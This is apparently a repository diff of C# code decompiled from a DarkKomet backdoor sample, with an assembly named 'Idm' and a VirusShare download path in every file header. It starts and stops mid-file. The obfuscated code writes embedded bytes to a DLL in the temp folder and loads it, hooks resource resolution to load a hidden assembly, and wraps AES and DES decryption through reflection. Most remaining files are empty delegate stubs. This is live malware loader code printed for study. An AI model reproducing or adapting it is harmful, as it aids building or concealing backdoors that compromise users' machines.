if (flag2)
{
try
{
path1 = string.Format("{0}{1}\\", (object) Path.GetTempPath(), (object) str1);
Directory.CreateDirectory(path1);
path2 = path1 + obj.\u0001 + ".dll";
if (!File.Exists(path2))
{
fileStream = File.OpenWrite(path2);
fileStream.Write(numArray, 0, numArray.Length);
fileStream.Close();
\u00082.\u0006\u0002(path2, (string) null, 4);
\u00082.\u0006\u0002(path1, (string) null, 4);
}
assembly2 = Assembly.LoadFile(path2);
}
catch
{
}
}
\u00082.\u0001[(object) str1] = (object) assembly2;
assembly1 = assembly2;
}
else
goto label_31;
}
}
finally
{
Monitor.Exit((object) hashtable);
}
return assembly1;
}
label_31:
return (Assembly) null;
}
catch (Exception ex)
{
object[] objArray = new object[23]
{
(object) obj,
(object) s,
(object) base64String,
(object) strArray,
(object) str1,
(object) flag1,
(object) flag2,
(object) index1,
(object) index2,
(object) num,
(object) str2,
(object) manifestResourceStream,
(object) length,
(object) numArray,
(object) assembly2,
(object) path1,
(object) path2,
(object) fileStream,
(object) assembly1,
(object) chArray,
(object) hashtable,
obj0,
(object) obj1
};
\u0089\u0004.\u0081\u0005(ex, objArray);
throw;
}
}
public \u00082()
{
try
{
}
catch (Exception ex)
{
\u0089\u0004.\u0018\u0005(ex, (object) this);
throw;
}
}
static \u00082()
{
try
{
\u00082.\u0001 = new Hashtable();
}
catch (Exception ex)
{
\u0089\u0004.\u0017\u0005(ex);
throw;
}
}
internal struct \u0008
{
public string \u0001;
public Version \u0002;
public string \u0003;
public string \u0004;
public string \u0006\u0002([In] bool obj0)
{
StringBuilder stringBuilder1;
try
{
stringBuilder1 = new StringBuilder();
stringBuilder1.Append(this.\u0001);
if (obj0 && this.\u0002 != (Version) null)
{
stringBuilder1.Append(", Version=");
stringBuilder1.Append((object) this.\u0002);
}
stringBuilder1.Append(", Culture=");
stringBuilder1.Append(this.\u0003.Length == 0 ? "neutral" : this.\u0003);
stringBuilder1.Append(", PublicKeyToken=");
stringBuilder1.Append(this.\u0004.Length == 0 ? "null" : this.\u0004);
return stringBuilder1.ToString();
}
catch (Exception ex)
{
StringBuilder stringBuilder2 = stringBuilder1;
// ISSUE: variable of a boxed type
__Boxed<\u00082.\u0008> local1 = (ValueType) this;
// ISSUE: variable of a boxed type
__Boxed<bool> local2 = (ValueType) obj0;
\u0089\u0004.\u001A\u0005(ex, (object) stringBuilder2, (object) local1, (object) local2);
throw;
}
}
public \u0008([In] string obj0)
{
char[] chArray1;
string[] strArray1;
int index;
string str1;
string str2;
try
{
this.\u0002 = (Version) null;
this.\u0003 = string.Empty;
this.\u0004 = string.Empty;
this.\u0001 = string.Empty;
string str3 = obj0;
chArray1 = new char[1]{ ',' };
char[] chArray2 = chArray1;
strArray1 = str3.Split(chArray2);
for (index = 0; index < strArray1.Length; ++index)
{
str1 = strArray1[index];
str2 = str1.Trim();
if (str2.StartsWith("Version="))
this.\u0002 = new Version(str2.Substring(8));
else if (str2.StartsWith("Culture="))
{
this.\u0003 = str2.Substring(8);
if (this.\u0003 == "neutral")
this.\u0003 = string.Empty;
}
else if (str2.StartsWith("PublicKeyToken="))
{
this.\u0004 = str2.Substring(15);
if (this.\u0004 == "null")
this.\u0004 = string.Empty;
}
else
this.\u0001 = str2;
}
}
catch (Exception ex)
{
string str4 = str1;
string str5 = str2;
char[] chArray3 = chArray1;
string[] strArray2 = strArray1;
// ISSUE: variable of a boxed type
__Boxed<int> local1 = (ValueType) index;
// ISSUE: variable of a boxed type
__Boxed<\u00082.\u0008> local2 = (ValueType) this;
string str6 = obj0;
\u0089\u0004.\u001E\u0005(ex, (object) str4, (object) str5, (object) chArray3, (object) strArray2, (object) local1, (object) local2, (object) str6);
throw;
}
}
}
}
}
@@ -0,0 +1,152 @@
// Decompiled with JetBrains decompiler
// Type: .3
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using \u0008;
using \u007F\u0004;
using System;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Threading;
namespace \u0008
{
internal class \u00083
{
private static Assembly \u0001;
private static string[] \u0002;
internal static void \u0006\u0002()
{
try
{
try
{
AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(\u00083.\u0006\u0002);
}
catch (Exception ex)
{
}
}
catch (Exception ex)
{
\u0089\u0004.\u0017\u0005(ex);
throw;
}
}
private static Assembly \u0006\u0002([In] object obj0, [In] ResolveEventArgs obj1)
{
string[] strArray1;
string name;
int index;
try
{
if ((object) \u00083.\u0001 == null)
{
Monitor.Enter((object) (strArray1 = \u00083.\u0002));
try
{
\u00083.\u0001 = Assembly.Load("{3b5b0266-7005-4590-8529-9827ff51efb1}, PublicKeyToken=3e56350693f7355e");
if ((object) \u00083.\u0001 != null)
\u00083.\u0002 = \u00083.\u0001.GetManifestResourceNames();
}
finally
{
Monitor.Exit((object) strArray1);
}
}
name = obj1.Name;
for (index = 0; index < \u00083.\u0002.Length; ++index)
{
if (\u00083.\u0002[index] == name)
return !\u00083.\u0006\u0002() ? (Assembly) null : \u00083.\u0001;
}
return (Assembly) null;
}
catch (Exception ex)
{
string str = name;
// ISSUE: variable of a boxed type
__Boxed<int> local = (ValueType) index;
string[] strArray2 = strArray1;
object obj = obj0;
ResolveEventArgs resolveEventArgs = obj1;
\u0089\u0004.\u001C\u0005(ex, (object) str, (object) local, (object) strArray2, obj, (object) resolveEventArgs);
throw;
}
}
private static bool \u0006\u0002()
{
int index;
StackFrame[] frames;
StackFrame stackFrame1;
try
{
bool flag;
try
{
frames = new StackTrace().GetFrames();
for (index = 2; index < frames.Length; ++index)
{
stackFrame1 = frames[index];
if ((object) stackFrame1.GetMethod().Module.Assembly == (object) Assembly.GetExecutingAssembly())
{
flag = true;
goto label_7;
}
}
flag = false;
}
catch
{
flag = true;
}
label_7:
return flag;
}
catch (Exception ex)
{
StackFrame[] stackFrameArray = frames;
// ISSUE: variable of a boxed type
__Boxed<int> local1 = (ValueType) index;
StackFrame stackFrame2 = stackFrame1;
bool flag;
// ISSUE: variable of a boxed type
__Boxed<bool> local2 = (ValueType) flag;
\u0089\u0004.\u001B\u0005(ex, (object) stackFrameArray, (object) local1, (object) stackFrame2, (object) local2);
throw;
}
}
public \u00083()
{
try
{
}
catch (Exception ex)
{
\u0089\u0004.\u0018\u0005(ex, (object) this);
throw;
}
}
static \u00083()
{
try
{
\u00083.\u0001 = (Assembly) null;
\u00083.\u0002 = new string[0];
}
catch (Exception ex)
{
\u0089\u0004.\u0017\u0005(ex);
throw;
}
}
}
}
@@ -0,0 +1,21 @@
// Decompiled with JetBrains decompiler
// Type: .4
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using \u0008;
using System.Runtime.InteropServices;
namespace \u0008
{
internal sealed class \u00084
{
internal static \u00084.\u0008 \u0001;
[StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)]
private struct \u0008
{
}
}
}
@@ -0,0 +1,20 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using \u0003;
using System.Runtime.CompilerServices;
namespace \u0008
{
internal sealed class \u001E\u0004
{
[SpecialName]
public static string \u0006\u0002() => \u0002.\u0002\u0002(123) + \u0008.\u0008.\u0006\u0002();
[SpecialName]
public static string \u001E\u0004() => \u0002.\u0002\u0002(148) + \u0008.\u0008.\u0006\u0002();
}
}
@@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System;
using System.Runtime.InteropServices;
internal delegate void \u0008\u0003([In] object obj0, [In] ResolveEventHandler obj1);
@@ -0,0 +1,9 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System.Runtime.InteropServices;
internal delegate object \u0008\u0004([In] object obj0, [In] string obj1, [In] object obj2);
@@ -0,0 +1,99 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using \u000E;
using System.Runtime.InteropServices;
namespace \u000E
{
internal sealed class \u007F
{
internal static \u007F.\u0080 \u0001;
internal static \u007F.\u0081 \u0002;
internal static \u007F.\u0082 \u0003;
internal static \u007F.\u0083 \u0004;
internal static \u007F.\u0084 \u0005;
internal static \u007F.\u0086 \u0006;
internal static \u007F.\u0087 \u0007;
internal static \u007F.\u0088 \u0008;
internal static \u007F.\u0089 \u000E;
internal static \u007F.\u008A \u000F;
internal static \u007F.\u008B \u0010;
internal static \u007F.\u008C \u0011;
internal static \u007F.\u008D \u0012;
internal static \u007F.\u008E \u0013;
[StructLayout(LayoutKind.Explicit, Size = 8, Pack = 1)]
private struct \u0080
{
}
[StructLayout(LayoutKind.Explicit, Size = 8, Pack = 1)]
private struct \u0081
{
}
[StructLayout(LayoutKind.Explicit, Size = 16, Pack = 1)]
private struct \u0082
{
}
[StructLayout(LayoutKind.Explicit, Size = 16, Pack = 1)]
private struct \u0083
{
}
[StructLayout(LayoutKind.Explicit, Size = 1024, Pack = 1)]
private struct \u0084
{
}
[StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)]
private struct \u0086
{
}
[StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)]
private struct \u0087
{
}
[StructLayout(LayoutKind.Explicit, Size = 120, Pack = 1)]
private struct \u0088
{
}
[StructLayout(LayoutKind.Explicit, Size = 120, Pack = 1)]
private struct \u0089
{
}
[StructLayout(LayoutKind.Explicit, Size = 12, Pack = 1)]
private struct \u008A
{
}
[StructLayout(LayoutKind.Explicit, Size = 12, Pack = 1)]
private struct \u008B
{
}
[StructLayout(LayoutKind.Explicit, Size = 76, Pack = 1)]
private struct \u008C
{
}
[StructLayout(LayoutKind.Explicit, Size = 76, Pack = 1)]
private struct \u008D
{
}
[StructLayout(LayoutKind.Explicit, Size = 16, Pack = 1)]
private struct \u008E
{
}
}
}
@@ -0,0 +1,9 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System;
internal delegate AppDomain \u000E\u0003();
@@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System;
using System.Runtime.InteropServices;
internal delegate int \u000E\u0004([In] Type obj0);
@@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System.Reflection;
using System.Runtime.InteropServices;
internal delegate Assembly[] \u000F\u0003([In] object obj0);
@@ -0,0 +1,9 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System.Runtime.InteropServices;
internal delegate long \u000F\u0004([In] object obj0);
@@ -0,0 +1,46 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using \u0008;
using \u007F\u0004;
using System;
namespace \u0010
{
internal class \u000F
{
public static void \u0005\u0002()
{
try
{
try
{
\u00083.\u0006\u0002();
}
catch (Exception ex)
{
}
}
catch (Exception ex)
{
\u0089\u0004.\u0017\u0005(ex);
throw;
}
}
public \u000F()
{
try
{
}
catch (Exception ex)
{
\u0089\u0004.\u0018\u0005(ex, (object) this);
throw;
}
}
}
}
@@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System;
using System.Runtime.InteropServices;
internal delegate void \u0010\u0003([In] object obj0, [In] UnhandledExceptionEventHandler obj1);
@@ -0,0 +1,9 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System.Runtime.InteropServices;
internal delegate void \u0010\u0004([In] object obj0, [In] long obj1);
@@ -0,0 +1,9 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System.Runtime.InteropServices;
internal delegate bool \u0011\u0003([In] string obj0);
@@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System.IO;
using System.Runtime.InteropServices;
internal delegate long \u0011\u0004([In] object obj0, [In] long obj1, [In] SeekOrigin obj2);
@@ -0,0 +1,104 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using \u007F\u0004;
using System;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
namespace \u0012
{
internal sealed class \u0011 : IDisposable
{
private readonly Type \u0001;
private readonly object \u0002;
public \u0011()
{
Assembly assembly1;
try
{
try
{
assembly1 = Assembly.Load("System.Core, Version=2.0.5.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e");
this.\u0001 = assembly1.GetType("System.Security.Cryptography.AesManaged");
}
catch (FileNotFoundException ex)
{
assembly1 = Assembly.Load("mscorlib");
this.\u0001 = assembly1.GetType("System.Security.Cryptography.RijndaelManaged");
}
this.\u0002 = Activator.CreateInstance(this.\u0001);
}
catch (Exception ex)
{
Assembly assembly2 = assembly1;
\u0089\u0004.\u0019\u0005(ex, (object) assembly2, (object) this);
throw;
}
}
public ICryptoTransform \u0007\u0002([In] byte[] obj0, [In] byte[] obj1, [In] bool obj2)
{
object[] objArray1;
MethodInfo method;
try
{
MethodInfo setMethod1 = this.\u0001.GetProperty("Key").GetSetMethod();
object obj3 = this.\u0002;
objArray1 = new object[1]{ (object) obj0 };
object[] parameters1 = objArray1;
setMethod1.Invoke(obj3, parameters1);
MethodInfo setMethod2 = this.\u0001.GetProperty("IV").GetSetMethod();
object obj4 = this.\u0002;
objArray1 = new object[1]{ (object) obj1 };
object[] parameters2 = objArray1;
setMethod2.Invoke(obj4, parameters2);
method = this.\u0001.GetMethod(obj2 ? "CreateDecryptor" : "CreateEncryptor", new Type[0]);
return (ICryptoTransform) method.Invoke(this.\u0002, new object[0]);
}
catch (Exception ex)
{
MethodInfo methodInfo = method;
object[] objArray2 = objArray1;
byte[] numArray1 = obj0;
byte[] numArray2 = obj1;
// ISSUE: variable of a boxed type
__Boxed<bool> local = (ValueType) obj2;
\u0089\u0004.\u001D\u0005(ex, (object) methodInfo, (object) objArray2, (object) this, (object) numArray1, (object) numArray2, (object) local);
throw;
}
}
public void \u0008\u0002()
{
try
{
this.\u0001.GetMethod("Clear").Invoke(this.\u0002, new object[0]);
}
catch (Exception ex)
{
\u0089\u0004.\u0018\u0005(ex, (object) this);
throw;
}
}
public void Dispose()
{
try
{
this.\u0008\u0002();
}
catch (Exception ex)
{
\u0089\u0004.\u0018\u0005(ex, (object) this);
throw;
}
}
}
}
@@ -0,0 +1,95 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using \u007F\u0004;
using System;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
namespace \u0012
{
internal sealed class \u0013 : IDisposable
{
private readonly Type \u0001;
private readonly object \u0002;
public \u0013()
{
Assembly assembly1;
try
{
assembly1 = Assembly.Load("mscorlib");
this.\u0001 = assembly1.GetType("System.Security.Cryptography.DESCryptoServiceProvider");
this.\u0002 = Activator.CreateInstance(this.\u0001);
}
catch (Exception ex)
{
Assembly assembly2 = assembly1;
\u0089\u0004.\u0019\u0005(ex, (object) assembly2, (object) this);
throw;
}
}
public ICryptoTransform \u000E\u0002([In] byte[] obj0, [In] byte[] obj1, [In] bool obj2)
{
object[] objArray1;
MethodInfo method;
try
{
MethodInfo setMethod1 = this.\u0001.GetProperty("Key").GetSetMethod();
object obj3 = this.\u0002;
objArray1 = new object[1]{ (object) obj0 };
object[] parameters1 = objArray1;
setMethod1.Invoke(obj3, parameters1);
MethodInfo setMethod2 = this.\u0001.GetProperty("IV").GetSetMethod();
object obj4 = this.\u0002;
objArray1 = new object[1]{ (object) obj1 };
object[] parameters2 = objArray1;
setMethod2.Invoke(obj4, parameters2);
method = this.\u0001.GetMethod(obj2 ? "CreateDecryptor" : "CreateEncryptor", new Type[0]);
return (ICryptoTransform) method.Invoke(this.\u0002, new object[0]);
}
catch (Exception ex)
{
MethodInfo methodInfo = method;
object[] objArray2 = objArray1;
byte[] numArray1 = obj0;
byte[] numArray2 = obj1;
// ISSUE: variable of a boxed type
__Boxed<bool> local = (ValueType) obj2;
\u0089\u0004.\u001D\u0005(ex, (object) methodInfo, (object) objArray2, (object) this, (object) numArray1, (object) numArray2, (object) local);
throw;
}
}
public void \u0008\u0002()
{
try
{
this.\u0001.GetMethod("Clear").Invoke(this.\u0002, new object[0]);
}
catch (Exception ex)
{
\u0089\u0004.\u0018\u0005(ex, (object) this);
throw;
}
}
public void Dispose()
{
try
{
this.\u0008\u0002();
}
catch (Exception ex)
{
\u0089\u0004.\u0018\u0005(ex, (object) this);
throw;
}
}
}
}
@@ -0,0 +1,9 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System.Runtime.InteropServices;
internal delegate byte \u0012\u0003([In] int obj0);
@@ -0,0 +1,9 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System.Runtime.InteropServices;
internal delegate int \u0012\u0004([In] object obj0, [In] byte[] obj1, [In] int obj2, [In] int obj3);
@@ -0,0 +1,9 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System.Runtime.InteropServices;
internal delegate int \u0013\u0003([In] long obj0);
@@ -0,0 +1,9 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System.Runtime.InteropServices;
internal delegate void \u0013\u0004([In] object obj0, [In] byte[] obj1, [In] int obj2, [In] int obj3);
@@ -0,0 +1,9 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System.Runtime.InteropServices;
internal delegate int \u0014\u0003([In] string obj0);
@@ -0,0 +1,9 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System.Runtime.InteropServices;
internal delegate void \u0014\u0004([In] object obj0, [In] byte obj1);
@@ -0,0 +1,9 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System.Runtime.InteropServices;
internal delegate string \u0015\u0003([In] byte[] obj0);
@@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System.IO;
using System.Runtime.InteropServices;
internal delegate DirectoryInfo \u0015\u0004([In] string obj0);
@@ -0,0 +1,9 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System.Runtime.InteropServices;
internal delegate byte[] \u0016\u0003([In] string obj0);
@@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System.IO;
using System.Runtime.InteropServices;
internal delegate FileStream \u0016\u0004([In] string obj0);
@@ -0,0 +1,9 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System.Runtime.InteropServices;
internal delegate void \u0017\u0003([In] int obj0);
@@ -0,0 +1,7 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
internal delegate string \u0017\u0004();
@@ -0,0 +1,9 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System;
internal delegate Version \u0018\u0003();
@@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System;
using System.Runtime.InteropServices;
internal delegate void \u0018\u0004([In] Array obj0, [In] RuntimeFieldHandle obj1);
@@ -0,0 +1,9 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System;
internal delegate OperatingSystem \u0019\u0003();
@@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
